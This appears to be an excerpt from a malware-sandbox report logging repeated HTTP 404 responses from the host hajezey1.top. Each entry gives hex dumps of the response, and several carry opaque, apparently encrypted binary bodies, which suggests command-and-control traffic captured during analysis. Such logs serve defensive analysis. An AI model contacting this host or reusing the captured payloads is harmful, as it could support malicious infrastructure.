Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:28:58 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 5f 9f 87 cd 29 80 78 51 a1 a2 8f 4c 3d d8 1c e0 32 02 50 08 e8 df e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 e1 8a 20 59 55 11 5c 03 25 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 5d ca cc 8a 44 d8 06 0e 45 67 14 7d 63 fb e0 04 89 f9 d4 57 80 90 70 89 ec 24 4d 6b 0e e1 a2 22 48 32 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 83 97 5f 96 da 19 d1 3a 2d 12 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 7d 87 4a 04 38 cd 78 14 2c de e8 b1 14 c5 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 c2 49 64 cd 25 5c 8d b7 1d 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 a5 32 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6e c9 ae d4 15 95 36 e1 48 50 67 7e 50 b8 81 be e5 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 6c ba 25 8f fc da 14 79 a2 8e b9 08 90 bb 77 c6 19 2a 16 bf 43 b3 ea 3d b2 13 3b 35 02 1a 1b eb 22 f5 4e ad e8 16 83 83 6f d4 ed 3f ec c9 81 68 73 02 99 ea fc cd c3 05 d0 93 d3 23 39 01 c4 a5 c8 63 77 da 0b af bd d9 39 69 a1 99 9c 77 e8 0f 4e 8c da 06 b9 37 87 8c b4 26 b8 2c 58 32 77 6c 08 da f9 d2 eb 48 25 66 37 2d 2f f2 5e a5 27 48 84 89 ff 67 37 f9 bd a1 97 2b 86 f3 bd 98 bb 1f 77 c7 26 e1 39 c6 86 8e f0 09 af 63 9d 31 09 a8 50 13 30 7b 32 8c c9 e1 d5 c0 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 f8 3f d8 2c eb 53 43 ae 3b 97 e4 23 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b c3 a7 86 38 b4 f2 a7 7c 2d f0 3a cb 8f 8c f5 cf 9b 2b 25 9b 16 ba eb 1b bb 1d 57 74 d2 eb 98 87 cd 23 80 78 51 a1 a2 8f d2 ee df 1c e0 12 02 50 08 08 d8 e2 30 a5 19 93 9b 97 4f f3 e0 e4 62 79 00 54 ea d6 d7 0c 3d 61 19 27 f4 d2 af 34 91 b4 b9 c1 82 20 59 57 11 5c 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f fc b7 a8 9f 96 98 8b 36 19 19 cb 8a f3 d8 05 0f 4e 86 19 7d 6f ab e1 04 89 63 7a 55 80 90 70 89 7f c8 4a 6b b6 e2 a2 22 48 42 d3 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 9b 84 c8 c3 e7 b2 ec 1c e1 0c 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 ec ef f7 0a 83 8b 71 91 e0 75 7e 64 19 a0 77 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa 6b 8a b2 e2 4b 6d ec 00 31 a5 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 fa 82 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 00 9d 82 ef d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 36 dd 3f 9d 43 cd 17 fe 2f 15 9f f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 68 aa cf 04 2a 95 36 56 0f 50 67 74 20 b9 87 f6 f4 81 de bb 34 6b 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 1f 3a 48 93 92 4e bd 44 ef fb c9 e3 de ea 50 38 02 97 b1 a4 57 25 57 b9 d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 00 fc ce 6e 47 b3 9a 4c 07 22 7d e6 a2 c6 62 b9 14 31 eb cd 40 24 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 04 dd be c6 83 41 5f 4f af b8 e8 01 be a2 57 ee 60 87 bd b7 6b 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 de 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
